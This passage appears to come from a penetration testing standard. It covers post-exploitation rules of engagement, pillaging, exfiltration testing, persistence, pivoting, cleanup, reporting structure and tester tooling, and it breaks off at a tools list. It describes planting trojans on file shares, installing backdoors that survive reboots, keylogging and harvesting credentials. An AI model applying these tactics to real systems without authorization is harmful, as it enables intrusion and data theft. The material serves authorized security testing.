The purpose of the Post-Exploitation phase is to determine the value of the machine compromised and to maintain control of the machine for later use. The value of the machine is determined by the sensitivity of the data stored on it and the machines usefulness in further compromising the network. The methods described in this phase are meant to help the tester identify and document sensitive data, identify configuration settings, communication channels, and relationships with other network devices that can be used to gain further access to the network, and setup one or more methods of accessing the machine at a later time. In cases where these methods differ from the agreed upon Rules of Engagement, the Rules of Engagement must be followed.

7.2 Rules of Engagement

The following Rules of Engagement are specific to the Post-Exploitation phase of a penetration test and are intended to ensure that the client's systems are not subjected to unnecessary risk by the (direct or indirect) actions of the testers and to ensure a mutually agreed procedure to follow during the post-exploitation phase of the project.

7.2.1 Protect the Client

The following rules are to be used as a guideline of rules to establish with a client to ensure that the day to day operations and data of the client are not exposed to risk:

- Unless previously agreed upon, there will be no modification of services which the client deems "critical" to their infrastructure. The purpose of modifying such services would be to demonstrate to the client how an attacker may:
  - Escalate privileges
  - Gain access to specific data
  - Cause denial of service

- All modifications, including configuration changes, executed against a system must be documented. After finishing the intended purpose of the modification, all settings should be returned to their original positions if possible. The list of changes should be given to the client after the engagement to allow them to ensure all changes were properly undone. Changes that could not be returned to their original positions should be clearly differentiated from changes that were successfully reversed.
- A detailed list of actions taken against compromised systems must be kept. The list should include the action taken and the time period in which it occurred. Upon completion, this list should be included as an appendix to the final report.
- Any and all private and/or personal user data (including passwords and system history) uncovered during the course of the penetration test may be used as leverage to gain further permissions or to execute other actions related to the test only if the following conditions are met:
  - The client's Acceptable Use Policy states all systems are owned by the client and all data stored on those systems are the property of the client.
  - The Acceptable Use Policy states connection to the client's network is considered consent for the connected machine to be searched and analyzed (including all present data and configurations).
  - The client has confirmation that all employees have read and understand the Acceptable Use Policy.
- Passwords (including those in encrypted form) will not be included in the final report, or must be masked enough to ensure recipients of the report cannot recreate or guess the password. This is done to safeguard the confidentiality of the users the passwords belong to, as well as to maintain the integrity of the systems they protect.
- Any method or device used to maintain access to compromised systems and that could affect the proper operation of the system or whose removal may cause downtime may not be implemented without the prior written consent of the client.
- Any method or device which is used to maintain access to compromised systems must employ some form of user authentication such as digital certificates or login prompts. A reverse connection to a known controlled system is also acceptable.
- All data gathered by the testers must be encrypted on the systems used by the testers.
- Any information included in the report that could contain sensitive data (screenshots, tables, figures) must be sanitized or masked using techniques that render the data permanently unrecoverable by recipients of the report.
- All data gathered will be destroyed once the client has accepted the final report. Method used and proof of destruction will be provided to the client.
- If data gathered is regulated by any law, the systems used and their locations will be provided by the client to ensure that the data collected and processed does not violate any applicable laws. If the systems will be those of the penetration testing team the data may not be downloaded and stored on to their systems and only proof of access will be shown (File Permissions, Record Count, file names..etc).
- Third party services for password cracking will not be used, nor will there be sharing of any other type of data with third parties without the clients prior consent.
- If evidence of a prior compromise is found in the assessed environment all logs with actions and times recorded during the assessment by the penetration team will be saved, hashed and provided to the client. The client can then determine how best to respond to and handle the incident response.
- No logs should be removed, cleared or modified unless specifically authorized to do so by the client in the engagement contract/statement of work. If authorized, the logs must be backed up prior to any changes.

7.2.2 Protecting Yourself

Due to the nature of a penetration test, you must ensure that you cover all your bases when dealing with the client and the tasks you will be performing. Discuss the following with the client to ensure a clear understanding of the roles and responsibilities of both client and provider prior to beginning any work.

- Ensure that the contract and/or statement of work signed by both the client and provider states that the actions taken on the systems being tested are on behalf and in representation of the client.
- Obtain a copy of the security policies that govern user use of company systems and infrastructure (often referred to as "Acceptable Use" policies) prior to starting the engagement. Verify that policy covers:
  - Personal use of equipment and storage of personal employee data on the client systems and ownership and rights on that data.
  - Ownership of data stored on company equipment.
- Confirm regulations and laws that govern the data that is managed and used by the client on their systems and the restrictions imposed on such data.
- Use full drive encryption for those systems and removable media that will receive and store client data.
- Discuss and establish with the client the procedures to follow in the case that a compromise from a third party is found.
- Check for laws concerning the capture and/or storage of audio and video since the use of this methods in post-exploitation may be considered a violation of local or country wiretap laws.

7.3 Infrastructure Analysis

7.3.1 Network Configuration

The network configuration of a compromised machine can be used to identify additional subnets, network routers, critical servers, name servers and relationships between machine. This information can be used to identify additional targets to further penetrate the client's network.

Interfaces

Identify all of the network interfaces on the machine along with their IP addresses, subnet masks, and gateways. By identifying the interfaces and settings, networks and services can be prioritized for targeting.

Routing

Knowledge of other subnets, filtering or addressing schemes could be leveraged to escape a segmented network, leading to additional hosts and/or networks to probe and enumerate. This data could come from a variety of sources on a particluar host or network including:

- Interfaces
- Routing tables, including static and dynamic routes
- ARP Tables, NetBios or other network protocols used for service and host discovery.
- For multi-homed hosts, determine if they are acting as a router.

DNS Servers

Identify all DNS servers in use, by assessing host settings. DNS servers and information could then be used to develop and execute a plan for discovering additional hosts and services on the target network. In the case that a DNS Server is compromised, the DNS database will provide valueable information about hosts and services that can be used to prioritize targets for the remainder of the assessment. The modification and addition of new records could be used to intercept the data of services depending on DNS.

Cached DNS Entries

Identify high value DNS entries in the cache, which may include login pages for Intranet sites, management interfaces, or external sites. Cached interfaces provide information of the most recent and most used host used by the compromised host providing a view of the relations and interactions of the hosts providing information that could be used to prioritization of targets for further penetration of the target network and infrastructure. Modification of cached entries if permitted can be used to capture authentication credential, authentication tokens or to gain further information on services used by the compromised hosts leading to further penetration of the target network.

Proxy Servers

Identify network and application level proxy servers. Proxy servers make good targets when in enterprise-wide use by the client. In the case of application proxies, it may be possible to identify, modify and/or monitor the flow of traffic, or the traffic itself. Proxy attacks are often an effective means to show impact and risk to the customer.

ARP Entries

Enumerate cached and static ARP table entries, which can reveal other hosts that interact with the compromised machine. Static ARP entries may represent critical machines. If the scope of the assessment allows for intercepting and modifying ARP entries, it is simple to show the possibility of disrupting, monitoring, or compromising a service in a manner that is usually not detected or protected against.

7.3.2 Network Services

Listening Services

Identify all the network services offered by the target machine. This may lead to the discovery of services not identified by initial scanning as well as the discovery of other machines and networks. The identification of services not shown in scanning can also provide information on possible filtering and control systems implemented in the network and/or host. In addition, the tester may be able to leverage these services to compromise other machines. Most operating system include a method of identifying TCP and UDP connections made to and from the machine. By checking both connections to and from a compromised machine it is possible to find relationships that were previously unknown. As well as the host the service should also be considered, this may reveal services listening on non-standard ports and indicate trust relationships such as keyless authentication for SSH.

VPN Connections

All VPN connections into and out of the target machine or network should be identified. Outbound connections can provide paths into new systems which may have not previously been identified. Both inbound and outbound can identify new systems and possible business relationships. VPN connections often bypass firewalls and intrusion detection/prevention systems due to their inability to decrypt or inspect encrypted traffic. This fact makes VPNs ideal to launch attacks through. Any new targets should be verified as in scope before launching attacks against them. The

presence of VPN client or server connections on the target host may also provide access to credentials previously not known that could be used to target other hosts and services.

Directory Services

A targeted host running directory services may provide an opportunity to enumerate user accounts, hosts and/or services that can be used in additional attacks or provide additional targets that may not have been previously discovered in the vulnerability analysis phase. Additionally, the details of users found in directory services could be used for Social Engineering and phishing campaign attacks, thus providing a possible higher success rate.

Neighbors

In todays network many services and operating systems use a number of protocols for neighbor discovery in an effort make the access of services, troubleshooting and configuration more convenient. Protocols vary depending on the type of target host. Networking equipment may use protocols like CDP (Cisco Discovery Protocol) and LLDP (Link Layer Discovery Protocol) to identify systems, configurations and other details to hosts directly connected to them or present in the same subnet. Similarly, desktop and server operating systems may use protocols like mDNS (Multicast Domain Name Service) and NetBios to find details of hosts and services in the same subnet.

7.4 Pillaging

Pillaging refers to obtaining information (i.e. files containing personal information, credit card information, passwords, etc.) from targeted hosts relevant to the goals defined in the pre-assessment phase. This information could be obtained for the purpose of satisfying goals or as part of the pivoting process to gain further access to the network. The location of this data will vary depending on the type of data, role of the host and other circumstances. Knowledge and basic familiarity with commonly used applications, server software and middleware is very important, as most applications store their data in many different formats and locations. Special tools may be necessary to obtain, extract or read the targeted data from some systems.

7.4.1 Installed Programs

Startup Items

Most systems will have applications that can run at system startup or at user logon that can provide information about the purpose of the system, software and services it interacts with. This information may reveal potential countermeasures that could be in place that may hinder further exploitation of a target network and it's systems (e.g. HIDS/HIPS, Application Whitelisting, FIM). Information that should be gathered includes:

- List of the applications and their associated versions installed on the system.
- List of operating system updates applied to the system.

7.4.2 Installed Services

Services on a particular host may serve the host itself, or other hosts in the target network. It is necessary to create a profile of each targeted host, noting the configuration of these services, their purpose, and how they may potentially be used to achieve assessment goals or further penetrate the network.

Security Services

Security services comprise the software designed to keep an attacker out of systems, and keep data safe. These include, but are not limited to network firewalls, host-based firewalls, IDS/IPS, HIDS/HIPS and anti-virus. Identifying any security services on a single targeted host gives an idea of what to expect when targeting other machines in the network. It also gives an idea of what alerts may have been triggered during the test, which can be discussed with the client during the project debrief, and may result in updates to Security Policies, UAC, SELinux, IPSec, windows security templates, or other security rulesets/configurations.

File/Printer Shares

File and print servers often contain targeted data or provide an opportunity to further penetrate the target network and hosts. The information that should be targeted includes:

- Shares offered by File Servers - Any file shares offered by target systems should be examined. Even just the names and comments of shares can leak important information about the names of internal applications or projects (i.e. if only "Fred" and "Christine" have access to the "Accounting" folder, perhaps they are both accounting employees).
- Access Control Lists and permissions for shares. - From the client side, if it is possible to connect to the share, then it should be checked to see if the connection is read/only or read/write. Remember that if a share contains directories then different permissions may apply to different directories. From the server side both server configuration and file/directory permissions should be examined.
- File share file and content listings
- Identify files of interest from the file share listings. Look for interesting or targeted items such as:
  - Source Code
  - Backups
  - Installation Files
  - Confidential Data (financial data in spreadsheets, bank reports in TXT/PDF, password files, etc.)
- Place trojans or autorun files - Using clever naming, or by mimicking naming conventions already in use, users can be encouraged to execute these payloads, allowing the tester to further penetrate the network. If file server logs can be obtained, specific users may even be targeted.

Database Servers

Databases contain a wealth of information that may be targeted in an assessment.

- Databases - A list of database names can help the assessor to determine the purpose of the database and the types of data the database may contain. In an environment with many databases, this will help in prioritizing targets.
- Tables - Table names and metadata, such as comments, column names and types can also help the assessor choose targets and find targeted data.
- Table Content, row count for regulated content
- Columns - It is possible in many databases to search all column names of all tables with a single command. This can be leveraged to find targeted data (e.g. If credit card data is targeted on an Oracle database, try executing *select * from all_tab_columns where name = '%CCN%';*.
- Database and Table Permissions
- Database Users, Passwords, Groups and Roles

The information hosted on databases can be also be used to show risk, achieve assessment goals, determine configuration and function of services or to further penetrate a client network and hosts.

Directory Servers

The main goals of a directory service is to provide information to services and hosts for reference or/and authentication. The compromise of this service can allow the control of all hosts that depend on the service and well as provide information that could be used to further an attack. Information to look for in a directory service are:

- List of objects (Users, passwords, Machines..etc)
- Connections to the system
- Identification of protocols and security level

Name Servers

Name server provide resolution to host and services depending on the types of records it servers. Enumeration of records and controls can provide a list of targets and services to prioritize and attack to further penetrate a clients network and hosts. The ability to modify and add records can be use to show risk of denial of services as well as aid in the interception of traffic and information on a customer network.

Deployment Services

Identification of deployment services allows for the access and enumeration of:

- Unattended answer files
- Permission on files
- Updates included
- Applications and versions

This information can be used to further penetrate a client network and hosts. The ability to modify the repositories and configuration of the service allows for

- Backdoor installation
- Modification of services to make them vulnerable to attack

Certificate Authority

Identification of Certificate Authority services on a compromised client host will allow for the access to

- Root CA
- Code Signing Certificates
- Encryption and Signing Certificates

Control of the service will also allow for the

- Creation of new certificates for several tasks
- Revocation of certificates
- Modification of the Certificate Revocation List
- Insertion of Root CA Certificate

The control of the services shows risk and allows for the compromise of data and services on a client's network and hosts.

Source Code Management Server

Identification of source code management systems via by the service running on the compromised host or the client part of the service provides the opportunity for:

- Enumerate projects - The project names can give away sensitive information on company projects.
- Verify access to source code files
- Modify source code files - If it is allowed in scope then modifying source code proves that an attacker could make changes that would affect the system
- Enumerate developers - Developers details can be use for social engineering attacks as well as as inputs for attacking other areas of the system
- Enumerate configuration

Dynamic Host Configuration Server

Identification of dynamic host configuration service or use of the service by the compromised host allows for:

- Enumeration leases given
- Enumeration configuration
- Enumeration Options
- Modification of configuration
- Consumption of all leases

The control of the service can be used to show risk of denial of service and for use in man in the middle attacks of hosts and services on the compromised network.

Virtualization

Identification virtualization services or client software allow for:

- Enumerate Virtual Machines (name, configurations, OS)
- Enumerate passwords and digital certificates for administration systems.
- Enumerate virtualization software configuration
- Configuration of Hosts
- Show risk of denial of service with control of VM state
- Access to data hosted on VM's
- Interception of traffic of virtual hosts or services hosted on the compromised host

Messaging

Identification of services or client software for messaging provides the opportunity to

- Identify Directory Services
- Compromise of credentials
- Access to confidential information
- Identification of hosts on the network
- System and business relationships

All of this information and actions can be used to show risk and to further penetrate a client's network and hosts.

Monitoring and Management

Identification of services or client software for the purpose of monitoring and/or management may provide identification of additional servers and services on the target network, in addition the configuration parameters gained may provide access to other targets host and to determine what actions performed by the tester can be detected by the client. Some services to look for:

- SNMP (Simple Network Management Protocol)
- Syslog

Some Management Services and Software to look for to gain credentials, identify host and gain access to other services may be:

- SSH Server/Client
- Telnet Server/Client
- RDP (Remote Desktop Protocol) Client
- Terminal Server
- Virtual Environment Management Software

Backup Systems

Identification of services or client software for the purpose of backing up data provide a great opportunity to an attacker since these system require access to the data and systems they need to backup providing an attacker:

- Enumeration of hosts and systems
- Enumeration of services
- Credentials to host and/or services
- Access to backup data

The information gained from the service can be used to show risk to the confidentiality, integrity and access tot he system and their information. Access to the backups can also provide opportunity to introduce miss configuration, vulnerable software or backdoors in to the clients systems.

Networking Services (RADIUS,TACACS..etc)

Identification of services or use of networking services allows for the:

- Enumeration of users
- Enumeration of hosts and systems
- Compromise of credentials
- Show risk of denial of service if alternate methods are not present

7.4.3 Sensitive Data

Key-logging

By monitoring key strokes it is possible to detect sensitive information including passwords and PII - Don't know what the legality of this is if the user is say chatting on private IM while also using company software, anyone know? If the company says that all data on the network can be monitored then this should be ok. If the second bullet point in Protect Yourself is present and it states that use of equipment can be monitored and no personal use is permitted yes, if policy does not cover personal user or ownership of data, no. It should be extended to cover Network also.

Screen capture

Screen capture can be use to show evidence of compromise as well as access to information that can shown on the screen and access thru other means is not possible. Great care should be taken with the data collected thru screen capture so as to nor show private data of employees of customers of the client.

Network traffic capture

Network traffic capture can be used depending on the controls on the network and medium used for capture can be used to:

- Identify hosts on the network
- Intercept data
- Identify services
- Identify relations between hosts in the network
- Capture of credentials

Care should be taken to only capture traffic covered under the scope of the engagement and that the information captured does not fall under the control of local laws like the capture of Voice Over IP calls. Information retained and shown should be filtered so as to protect client's customer and/or employee personal and confidential data.

Previous Audit reports

7.4.4 User Information

In this section the main focus is on the information present on the target system related to user accounts either present on the system or that have connected remotely and have left some trace that the personnel performing the assessment can gather and analyze for further penetration or provide the desired goal of the assessment.

On System

General information that can be gather on a compromised system are:

- History files - History files store recent commands the user has executed. Reading through these can reveal system configuration information, important applications, data locations and other system *sensitive information.
- Encryption Keys (SSH, PGP/GPG)
- Interesting Documents (.doc/x, .xls/x , password.*) - Users often store passwords and other sensitive information in clear text documents. These can be located in two ways, either searching through file names for interesting words, such as password.txt, or searching through the documents themselves. Indexing services can help with this, for example the Linux locate database.
- User specific application configuration parameters
- Individual Application History (MRU Windows only, history files..etc)
- Enumerate removable media
- Enumerate network shares / domain permission (gpresult)

Web Browsers

Information that can be gathered from web browsers that can be use to identify other hosts and systems as well as provide information to further penetrate a client's network and hosts are:

- Browser History
- Bookmarks
- Download History
- Credentials
- Proxies
- Plugins/Extensions

Great care should be taken that only data in scope for the engagement is capture since the information from a web browser may contain client's employee confidential and private data. This data should be filtered from the data returned and report.

IM Clients

Information that can be gathered from IM Clients on a compromised system is:

- Enumerate Account Configuration (User, Password, Server, Proxy)
- Chat Logs

Great care should be taken that only data in scope for the engagement is capture since the information from a web browser may contain client's employee confidential and private data. This data should be filtered from the data returned and report.

7.4.5 System Configuration

Password Policy

By enumerating the systems password policy the ability to brute force and crack passwords becomes much more efficient, for example knowing that the minimum password length is 8 characters you can remove any word less than 8 characters from a dictionary.

Security Policies

Configured Wireless Networks and Keys

By finding the targets wireless information it becomes possible to launch physical attacks through the companies wifi when on site. It can also allow a fake AP to be set up to lure targets to connect when away from site.

7.5 High Value/Profile Targets

High value/profile targets can be identified and further expanded from the targets identified in the pre-engagement meetings thru the analysis of the data gathered from the compromised systems and the interactions of those systems and the services that run on them This view of the the operation and interactions of these high value/profile targets helps in the identification and measurement of of impact that can be gained to the business do to the data and processes and to the overall integrity of the client's infrastructure and services.

7.6 Data Exfiltration

7.6.1 Mapping of all possible exfiltration paths

From each of the areas where access has been achieved, a full exfiltration paths should be created. This includes secondary and tertiary means of getting to the outside world (through different accessible subnetc, etc). Once the mapping is provided, the actual exfiltration testing should be commenced.

7.6.2 Testing exfiltration paths

Per exfiltration paths mapping, data should be exfiltrated from the organization being tested. This should already be covered in the Pre-engagement scoping and adequate infrastructure should have been setup which adheres to the customer's acceptable engagement policy (i.e. data being exfiltrated is usually exfiltrated to a server in the full control of the tester, and will access and ownership right to the tested organization). The exfiltration itself should simulate real-world exfiltration strategies used by the threat actors that correspond to the Threat Modeling Standard relevant for the organization (i.e. if criminal mostly then "standard" exfiltration using a staging area inside the network where data is archived inside zip/7z encrypted files and then sent to FTP/HTTP servers on the Internet, if a more sophisticated threat actor then using means that simulate such strategies and tactics used for exfiltration).

7.6.3 Measuring control strengths

When performing exfiltration testing, the main goal of the test is to see whether the current controls for detecting and blocking sensitive information from leaving the organization actually work, as well as exercise the response teams if anything has been detected in terms of how they react to such alerts and how are the events being investigated and mitigated.

7.7 Persistence

- Installation of backdoor that requires authentication.
- Installation and/or modification of services to connect back to system. User and complex password should be used as a minimum; use of certificates or cryptographic keys is preferred where possible. (SSH, ncat, RDP). Reverse connections limited to a single IP may be used.
- Creation of alternate accounts with complex passwords.
- When possible backdoor must survive reboots.

7.8 Further Penetration Into Infrastructure

Pivoting is the action in which the tester will use his presence of on the compromised system to further enumerate and gain access to other systems on the client's infrastructure. This action can be executed from the compromised host it self using local resourced or tools uploaded to the compromised system.

7.8.1 From Compromised System

Actions that can be taken from a compromised system:

- Upload tools
- Use local system tools
- ARP Scan
- Ping Sweep
- DNS Enumeration of internal network
- Directory Services Enumeration
- Brute force attacks
- Enumeration and Management thru Management Protocols and compromised credentials (WinRM, WMI, SMB, SNMP..etc)
- Abuse of compromised credentials and keys (Webpages, Databases..etc)
- Execute Remote Exploits

The action that will be executed will depend on the information needed to show specific risk and/or further penetrating the client's network and hosts. Regular planning sessions are recommended to re-evaluate the information gather and decide the best approach to continue the post exploitation until the set goals are meet.

7.8.2 Thru Compromised System

Actions that can be taken thru a compromised system:

- Port Forwarding
- Proxy to internal network (SSH)
- VPN to internal network
- Execute Remote Exploit

- Abuse of compromised credentials and keys (Webpages, Databases..etc)

The action that will be executed will depend on the information needed to show specific risk and/or further penetrating the client's network and hosts. Regular planning sessions are recommended to re-evaluate the information gather and decide the best approach to continue the post exploitation until the set goals are meet.

7.9 Cleanup

The cleanup process covers the requirements for cleaning up systems once the penetration test has been completed. This will include all user accounts and binaries used during the test.

- Remove all executable, scripts and temporary file from a compromised system. If possible use secure delete method for removing the files and folders.
- Return to original values system settings and application configuration parameters if they where modified during the assessment.
- Remove all backdoors and/or rootkits installed.
- Remove any user accounts created for connecting back to compromise systems.

CHAPTER 8

Reporting

8.1 Overview

This document is intended to define the base criteria for penetration testing reporting. While it is highly encouraged to use your own customized and branded format, the following should provide a high level understanding of the items required within a report as well as a structure for the report to provide value to the reader.

8.2 Report Structure

The report is broken down into two (2) major sections in order to communicate the objectives, methods, and results of the testing conducted to various audiences.

8.3 The Executive Summary

This section will communicate to the reader the specific goals of the Penetration Test and the high level findings of the testing exercise. The intended audience will be those who are in charge of the oversight and strategic vision of the security program as well as any members of the organization which may be impacted by the identified/confirmed threats. The executive summary should contain most if not all of the following sections:

Background:

The background section should explain to the reader the overall purpose of the test. Details on the terms identified within the Pre Engagement section relating to risk, countermeasures, and testing goals should be present to connect the reader to the overall test objectives and the relative results.

(Example: (CLIENT) tasked with performing an internal/external vulnerability assessment and penetration testing of specific systems located in (logical area or physical location). These systems have been identified as (risk ranking) and contain (data classification level) data which, if accessed inappropriately, could cause material harm to (Client). In an effort to test (CLIENT's) ability to defend against direct and indirect attack, executed a comprehensive network vulnerability scan, Vulnerability conformation(<-insert attack types agreed upon->) exploitation of weakened services,

client side attacks, browser side attacks (etc) The purpose of this assessment was to verify the effectiveness of the security controls put in place by (CLIENT) to secure business-critical information. This report represents the findings from the assessment and the associated remediation recommendations to help CLIENT strengthen its security posture.

- If objectives were changed during the course of the testing then all changes must be listed in this section of the report. Additionally, the letter of amendment should be included in the appendix of the report and linked to from this section.

Overall Posture:

This area will be a narrative of the overall effectiveness of the test and the pentesters ability to achieve the goals set forth within the pre engagement sessions. A brief description of the Systemic (ex. Systemic issue= Lacking Effective Patch Management Process vs. Symptomatic= Found MS08-067 missing on xyz box) issues identified through the testing process as well as the ability to achieve access to the goal information and identify a potential impact to the business.

Risk Ranking/Profile:

The overall risk ranking/profile/score will be identified and explained in this area. In the pre engagement section the Pentester will identify the scoring mechanism and the individual mechanism for tracking/grading risk. Various methods from FAIR, DREAD, and other custom rankings will be consolidated into environmental scores and defined.

image:reporting-risk-scale.png

The "Overall Risk Score" for the (CLIENT) is currently a Seven (7). This rating implies an ELEVATED risk of security controls being compromised with the potential for material financial losses. The consultant determined this risk score based on one high risk and several medium risk vulnerabilities, along with the success of directed attack. The most severe vulnerability identified was the presence of default passwords in the corporate public facing website which allowed access to a number of sensitive documents and the ability to control content on the device. This vulnerability could lead to theft of user accounts, leakage of sensitive information, or full system compromise. Several lesser severe vulnerabilities could lead to theft of valid account credentials and leakage of information.

General Findings:

The general findings will provide a synopsis of the issues found during the penetration test in a basic and statistical format. Graphic representations of the targets tested, testing results, processes, attack scenarios, success rates, and other trendable metrics as defined within the pre engagement meeting should be present. In addition, the cause of the issues should be presented in an easy to read format. (ex. A graph showing the root cause of issues exploited)

image:risk-origin.png

If defined within the Pre engagement exercise, this area should also include metrics which depict the effectiveness of the countermeasures within the environment. (ex.. we ran x attacks and IPS blocked y. Other countermeasures should also have similar metrics of design vs. effectiveness.)

Recommendation Summary:

The recommendation section of the report should provide the reader with a high level understanding of the tasks needed to resolve the risks identified and the general level of effort required to implement the resolution path suggested. This section will also identify the weighting mechanisms used to prioritize the order of the road map following.

Strategic Roadmap:

Roadmaps should include a prioritized plan for remediation of the insecure items found and should be weighed against the business objectives/ level of potential impact. This section should map directly to the goals identified as well as the threat matrix created in the PTES-Threat modeling section. By breaking up into predefined time/objective based goals, this section will create a path of action to follow in various increments. Example:

image:roadmap1.png

image:roadmap2.png

image:roadmap3.png

8.4 Technical Report

This section will communicate to the reader the technical details of the test and all of the aspects/components agreed upon as key success indicators within the pre engagement exercise. The technical report section will describe in detail the scope, information, attack path, impact and remediation suggestions of the test.

Introduction:

The introduction section of the technical report is intended to be an initial inventory of:

- Personnel involved in the testing from both the Client and Penetration Testing Team
- Contact information
- Assets involved in testing
- Objectives of Test
- Scope of Test
- Strength of Test
- Approach
- Threat/Grading Structure

This section should be a reference for the specific resources involved in the testing and the overall technical scope of the test.

Information Gathering:

Intelligence gathering and information assessment are the foundations of a good penetration test. The more informed the tester is about the environment, the better the results of the test will be. In this section, a number of items should be written up to show the CLIENT the extent of public and private information available through the execution of the Intelligence gathering phase of PTES. At a minimum, the results identified should be presented in 4 basic categories:

Passive Intelligence:

Intelligence gathered from indirect analysis such as DNS,Google dorking for IP/infrastructure related information. This section will focus on the techniques used to profile the technology in the CLIENT environment WITHOUT sending any traffic directly to the assets.

Active Intelligence:

This section will show the methods and results of tasks such as infrastructure mapping, port scanning, and architecture assessment and other foot printing activities. This section will focus on the techniques used to profile the technology in the CLIENT environment by sending traffic DIRECTLY to the assets.

Corporate Intelligence:

Information about the structure of the organization, business units, market share, vertical, and other corporate functions should be mapped to both business process and the previously identified physical assets being tested.

Personnel Intelligence:

Any and all information found during the intelligence collection phase which maps users to the CLIENT organization. This section should show the techniques used to harvest intelligence such as public/private employee depots, mail repositories, org charts and other items leading to the connection of employee/company.

Vulnerability Assessment:

Vulnerability assessment is the act of identifying the POTENTIAL vulnerabilities which exist in a TEST and the threat classification of each threat. In this section, a definition of the methods used to identify the vulnerability as well as the evidence/classification of the vulnerability should be present. In addition this section should include:

- Vulnerability Classification Levels
- Technical Vulnerabilities
  - OSI Layer Vulns
  - Scanner Found
  - Manually identified
  - Overall Exposure
- Logical Vulnerabilities
  - NON OSI Vuln
  - Type of vuln
  - How/Where it is found
  - Exposure
- Summary of Results

Exploitation/ Vulnerability Confirmation:

Exploitation or Vulnerability confirmation is the act of triggering the vulnerabilities identified in the previous sections to gain a specified level of access to the target asset. This section should review, in detail, all of the steps taken to confirm the defined vulnerability as well as the following:

- Exploitation Timeline
- Targets selected for Exploitation
- Exploitation Activities
  - Directed Attack
    - Target Hosts unable to be Exploited
    - Target Hosts able to be Exploited
      - Individual Host Information
      - Attacks conducted
      - Attacks Successful
      - Level of access Granted +escalation path
      - Remediation
      - Link to Vuln section reference
      - Additional Mitigating technique
      - Compensating control suggestion
- Indirect Attack
  - Phishing
    - Timeline/details of attack
    - Targets identified
    - Success/Fail ratio
    - Level of access granted
  - Clientside

        * Timeline/details of attack
        * Targets identified
        * Success/Fail ratio
        * Level of access granted
    - Browser Side
        * Timeline/details of attack
        * Targets identified
        * Success/Fail ratio
        * Level of access granted

Post Exploitation:

One of the most critical items in all testing is the connection to ACTUAL impact on the CLIENT being tested. While the sections above relay the technical nature of the vulnerability and the ability to successfully take advantage of the flaw, the Post Exploitation section should tie the ability of exploitation to the actual risk to the business. In this area the following items should be evidenced through the use of screenshots, rich content retrieval, and examples of real world privileged user access:

- Privilege Escalation path
    - Technique used
- Acquisition of Critical Information Defined by client
- Value of information
- Access to core business systems
- Access to compliance protected data sets
- Additional Information/Systems Accessed
- Ability of persistence
- Ability for exfiltration
- Countermeasure Effectiveness

    This section should cover the effectiveness of countermeasures that are in place on the systems in scope. It should include sections on both active (proactive) and passive (reactive) countermeasures, as well as detailed information on any incident response activities triggered during the testing phase. A listing of countermeasures that were effective in resisting assessment activities will help the CLIENT better tune detection systems and processes to handle future intrusion attempts.

    - Detection Capability
        * FW/WAF/IDS/IPS
        * Human
        * DLP
        * Log
    - Response & effectiveness

Risk/Exposure:

Once the direct impact to the business is qualified through the evidence existing in the vulnerability, exploitation and post exploitation sections, the risk quantification can be conducted. In this section the results above are combined

with the risk values, information criticality, corporate valuation, and derived business impact from the pre engagement section. This will give the CLIENT the ability to identify, visualize and monetize the vulnerabilities found throughout the testing and effectively weight their resolution against the CLIENTS business objectives. This section will cover the business risk in the following subsections:

- Evaluate incident frequency
  - probable event frequency
  - estimate threat capability (from 3 - threat modeling)
  - Estimate controls strength (6)
  - Compound vulnerability (5)
  - Level of skill required
  - Level of access required
- Estimate loss magnitude per incident
  - Primary loss
  - Secondary loss
  - Identify risk root cause analysis
    - Root Cause is never a patch
    - Identify Failed Processes
- Derive Risk
  - Threat
  - Vulnerability
  - Overlap

Conclusion:

Final overview of the test. It is suggested that this section echo portions of the overall test as well as support the growth of the CLIENT security posture. It should end on a positive note with the support and guidance to enable progress in the security program and a regimen of testing/security activity in the future to come.

CHAPTER 9

PTES Technical Guidelines

This section is designed to be the PTES technical guidelines that help define certain procedures to follow during a penetration test. Something to be aware of is that these are only baseline methods that have been used in the industry. They will need to be continuously updated and changed upon by the community as well as within your own standard. Guidelines are just that, something to drive you in a direction and help during certain scenarios, but not an all encompassing set of instructions on how to perform a penetration test. Think outside of the box.

9.1 Tools Required

Selecting the tools required during a penetration test depends on several factors such as the type and the depth of the engagement. In general terms, the following tools are mandatory to complete a penetration test with the expected results.

9.1.1 Operating Systems

Selecting the operating platforms to use during a penetration test is often critical to the successfully exploitation of a network and associated system. As such it is a requirement to have the ability to use the three major operating systems at one time. This is not possible without virtualization.

MacOS X

MacOS X is a BSD-derived operating. With standard command shells (such as *sh*, *csh*, and *bash*) and native network utilities that can be used during a penetration test (including *telnet*, *ftp*, *rpcinfo*, *snmpwalk*, *host*, and *dig*) it is the system of choice and is the underlying host system for our penetration testing tools. Since this is a hardware platform as well, this makes the selection of specific hardware extremely simple and ensures that all tools will work as designed.

VMware Workstation

VMware Workstation is an absolute requirement to allow multiple instances of operating systems easily on a workstation. VMware Workstation is a fully supported commercial package, and offers encryption capabilities and snapshot capabilities that are not available in the free versions available from VMware. Without the ability to encrypt the data collected on a VM confidential information will be at risk, therefore versions that do not support encryption are not to be used. The operating systems listed below should be run as a guest system within VMware.

Linux

Linux is the choice of most security consultants. The Linux platform is versatile, and the system kernel provides low-level support for leading-edge technologies and protocols. All mainstream IP-based attack and penetration tools can be built and run under Linux with no problems. For this reason, BackTrack is the platform of choice as it comes with all the tools required to perform a penetration test.

Windows XP/7

Windows XP/7 is required for certain tools to be used. Many commercial tools or Microsoft specific network assessment and penetration tools are available that run cleanly on the platform.

9.1.2 Radio Frequency Tools

Frequency Counter

A Frequency Counter should cover from 10Hz- 3 GHz. A good example of a reasonably priced frequency counter is the MFJ-886 Frequency Counter.

Frequency Scanner

A scanner is a radio receiver that can automatically tune, or scan, two or more discrete frequencies, stopping when it finds a signal on one of them and then continuing to scan other frequencies when the initial transmission ceases. These are not to be used in Florida, Kentucky, or Minnesota unless you are a person who holds a current amateur radio license issued by the Federal Communications Commission. The required hardware is the Uniden BCD396T Bearcat Handheld Digital Scanner or PSR-800 GRE Digital trunking scanner.

Spectrum Analyzer

A spectrum analyzer is a device used to examine the spectral composition of some electrical, acoustic, or optical waveform. A spectrum analyzer is used to determine whether or not a wireless transmitter is working according to federally defined standards and is used to determine, by direct observation, the bandwidth of a digital or analog signal. A good example of a reasonably priced spectrum analyzer is the Kaltman Creations HF4060 RF Spectrum Analyzer.

802.11 USB adapter

An 802.11 USB adapter allow for the easy connection of a wireless adapter to the penetration testing system. There are several issues with using something other than the approved USB adapter as not all of them support the required functions. The required hardware is the Alfa AWUS051NH 500mW High Gain 802.11a/b/g/n high power Wireless USB.

External Antennas

